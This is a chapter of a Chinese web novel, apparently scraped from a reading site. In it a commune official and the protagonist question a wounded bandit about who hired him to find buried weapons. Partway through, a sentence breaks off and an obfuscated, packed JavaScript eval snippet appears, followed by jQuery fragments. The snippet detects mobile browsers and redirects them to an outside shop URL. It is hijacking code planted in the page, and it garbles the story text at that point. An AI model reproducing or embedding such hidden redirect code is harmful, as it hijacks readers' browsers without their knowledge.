默认冷灰
24号文字
方正启体

第122章 三千块买条命,值吗?

作者:冽行川本书字数:K更新时间:
    两天后。


    陈远山气色好多了。


    杨林松让王大炮把他安顿在大队部后院的杂物间,对外就说是来帮着修锅炉的远房亲戚。


    村里没人多嘴。


    经过那一夜的死磕,红星大队的老少爷们瞅着杨林松身边多个人少个人,都练出同一个本事——


    闭嘴。


    这天一早,周铁山刚撂下电话,从办公室出来,脸上的褶子松了半拉。


    “卫生院捎话过来了,那活口烧退了,精神头也回来了,能开口了。”


    杨林松正蹲在院子里啃冻梨,汁水顺着虎口往下淌。


    听见这话,他把梨核往墙根一扔,站起身,拿袖子抹了抹嘴。


    “走。”


    阿三发动吉普车。


    一路上谁也没吱声。


    车过了十里坡,杨林松才开口:“周叔,待会儿你问,我听着。”


    周铁山扭过脑袋瞅了他一眼:“你不上手?”


    “不用。”


    杨林松往后座一靠,半眯着眼。


    “这人胆儿早碎成渣了,你正常问,他就正常撂。”


    顿了一下。


    “要是答得不痛快……”


    他没往下说。


    周铁山也没再问。


    有些话,说半截比说全了管用。


    ------


    公社卫生院。


    走廊里来苏水味儿还是那么冲。


    墙上刷着半旧的红漆标语:“救死扶伤,实行革命的人道主义”,笔画缺了几个角,也没人补。


    值班护士一瞅周铁山那身军装,二话不说就把钥匙递了过来。


    病房门一推开。


    那土匪半躺床上,左腿打着石膏,吊在铁架子上。


    脸上的肉塌了一圈,颧骨支棱着,眼珠子往门口一转。


    他一眼就认出杨林松了。


    活阎王来了!


    土匪喉结滚了一下,身子往枕头里缩,可没躲成。


    不是不想躲,是腿吊着,躲不了。


    周铁山拉过一把椅子坐下,军帽摘下来搁膝盖上,一副公事公办的架势。


    杨林松没坐,他走到窗根儿底下,背靠着墙,两手揣进大衣兜,半耷拉着眼皮,一副懒懒散散的样儿。


    好像来这儿就是为了晒晒太阳。


    可那土匪的眼睛,一直死死黏在他身上,半点儿不敢挪开。


    床尾卡上写着这土匪的名儿:马小栓。


    周铁山开门见山:


    “马小栓,我问你,郑少华让你们来找军火,给你们啥好处了?”


    马小栓嘴唇哆嗦两下,嗓子干得冒烟。


    他伸手去够床头柜上的搪瓷缸,手抖得厉害,水洒了半拉在被子上。


    灌了两口,才挤出声儿:


    “他说……事成之后,一人三千块。”


    停了停,又补一句:


    “还说,给安排到省城工作,正式的,有编制。”


    周铁山冷笑一声:


    “呵,三千块!老子一个月工资才四十来块,顶我干六七年!”


    笑完,声音一下子硬了:


    “你们头儿呢?”


    “头儿好处肯定更多。”


    马小栓声音蔫了下去。


    “具体多少,他没跟我们透底。但他跟郑少华单独唠过一回,回来整个人就变了。”


    “咋变的?”


    “话少了。”


    马小栓咽了口唾沫。


    “以前他嘴皮子溜得很,啥事儿都爱叨叨两句。那次回来,跟换了个人似的,成天阴着脸,动不动就骂人。”


    “我们私底下都嘀咕,说头儿这是接了个要命的活儿。”


    周铁山铅笔在本子上刷刷记,头都没抬。


    窗边的杨林松动了。


    不是动身子,是动嘴。


    “你见过郑少华本人?”


    马小栓脖子一僵,视线从周铁山身上弹到杨林松脸上,又赶紧缩回去。


    他点了下头。


    “跟着头儿见过两回。”


    “在哪儿?”


    “一回在县城。”


    马小栓舔了舔嘴唇。


    “在一个招待所后院,黑灯瞎火的。他就露个面,说几句话就走了,前后不到十分钟。”


    “第二回呢?”


    “第二回在省城,一个小饭馆包间里。那次待得长点,也就小半个钟头。”


    杨林松没追着问细节,他问了另一件事:


    “他身边跟着啥人?”


    马小栓眉头一拧,眼珠子转了转:


    “每回见面,他身边都跟着三四个人,穿军大衣,个头都不矮。”


    说到这儿,他顿了一下,接下来的话,声音又压下半截:


    “可瞅着不像正经当兵的,走路架势不对,眼神也不对。”


    杨林松眼皮抬了半寸。


    就这半寸,马小栓肩膀往被子里又缩了一截。


    杨林松没再问,可脑子里的线已经串上了。


    那三个死了的洋鬼子。


    那辆底盘焊了铅板的解放大卡。


    吴德贵吉普车后座里塞的那头灰狼。


    还有今儿这句,“瞅着不像正经当兵的”。


    一根绳上拴的蚂蚱,蹦跶起来都是一个德行。


    周铁山把本子翻到新一页,铅笔杵在纸上,抬眼:


    “他提没提过,弄着这批军火之后打算干啥?”


    马小栓眼珠子往下一转,这一回,声音压得更低了:


    “他说……”


    喉结又滚了一下。


    “有了这批硬家伙,整个东北的地下买卖,都得听他的。”


    停了两秒。


    “还说……省里有人罩着,谁也不敢动他。”


    最后几个字出来的时候,他手指死死攥住被角。


    周铁山铅笔尖在纸上戳出一个洞。


    他盯着那个洞瞅了两秒,腮帮子上的肉跳了一下。


    “省里有人罩着。”


    他把这六个字重复一遍,每个字都是从后槽牙缝里挤出来的。


    杨林松转头瞅向窗外。


    阳光照在院里的积雪上,白得发蓝。


    他没再问了。


    该问的都问完了。


    剩下的,这种小喽啰肚子里也倒不出来。


    三千块钱一条命,搭进去的时候,连自己在给谁卖命都没整明白。


    可悲。


    也可恨。


    ------


    俩人出了病房。


    走廊里,护士推着药车过去,轮子滚在地上咕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346077|199526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    噜噜响。


    周铁山把笔记本揣回兜里,掏出烟,递一根给杨林松。


    两根烟点着,烟雾在走廊里飘两下,被穿堂风扯散了。


    “这个郑少华,比他爹还狂。”


    周铁山吐出一口烟,声音硬邦邦的。


    杨林松把烟夹在食指和中指中间,没急着接话。


    走出卫生院大门,脚踩在台阶下面的碎冰上,咯吱一声脆响。


    他站住了。


    “他身边那帮穿军大衣的。”


    周铁山扭过脑袋瞅他。


    杨林松把烟头碾灭在鞋底下,碾得慢,碾得实。


    “瞅着不像正经当兵的,十有八九是从边境那头雇来的亡命徒。”


    周铁山脸一下子沉了,眉心的竖纹挤到一块儿。


    杨林松没给他消化的工夫,接着说:


    “还有一事儿。”


    他偏过头,盯着周铁山的眼睛。


    “黄五爷那帮人折了。铁脑壳死了,老鬼废了,阿力进去了,吴家兄弟也完蛋了。”


    他一个一个数着。


    “郑少华手底下,能用的刀全卷刃了。”


    周铁山没说话,可指缝里那半截烟,都被捏瘪了。


    杨林松瞅着灰蒙蒙的天:


    “一条狗死了,主人还会再养一条。”


    他声音平平的。


    “而且这回,他会找更狠的。”


    “你是说……他还敢动手?”周铁山问。


    杨林松没答。


    他拉开车门,拍了拍阿三的椅背。


    “走,绕个道。”


    ------


    吉普车没直接回村。


    阿三按杨林松指的道,拐上了往黑瞎子岭外围去的那条土路。


    路面颠得人屁股疼。


    车停在一片红松林边上,再往里,就没道了。


    杨林松推门下了车。


    风从山脊上倒灌下来,一股脑往鼻子里钻。


    他站在雪地里,面朝山里头。


    熊神洞的方向。


    那个地方,埋着关东军的军火,埋着抗联英雄的遗骨,埋着他爹的秘密。


    周铁山跟过来,在他身后三步远的地方站住。


    “想啥呢?”


    杨林松没回头:


    “在想,这批军火该咋处理。”


    大衣下摆被风贴在腿上,又被下一阵风扯开。


    周铁山沉默几秒:


    “按规矩,得上交国家。”


    杨林松点了下头:


    “我知道。”


    他转过身,瞅着周铁山,眼神很平静。


    “但上交之前,得先用它钓出更大的鱼。”


    周铁山跟他对视三秒。


    没点头,也没摇头。


    他右手伸进兜里,攥住了那本写满名字的小本子,攥得指骨咯咯响。


    雪粒子打在俩人脸上,细细的,带着刺。


    杨林松把大衣领子竖起来,往车那边走。


    走了两步,站住。


    “周叔。”


    “嗯?”


    “这条线,从1945年到现在,三十一年了。”


    杨林松的声音被风裹着,传出去老远,听不出喜怒。


    “他来一个,我收一个。”


    “来一群,我就全收了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)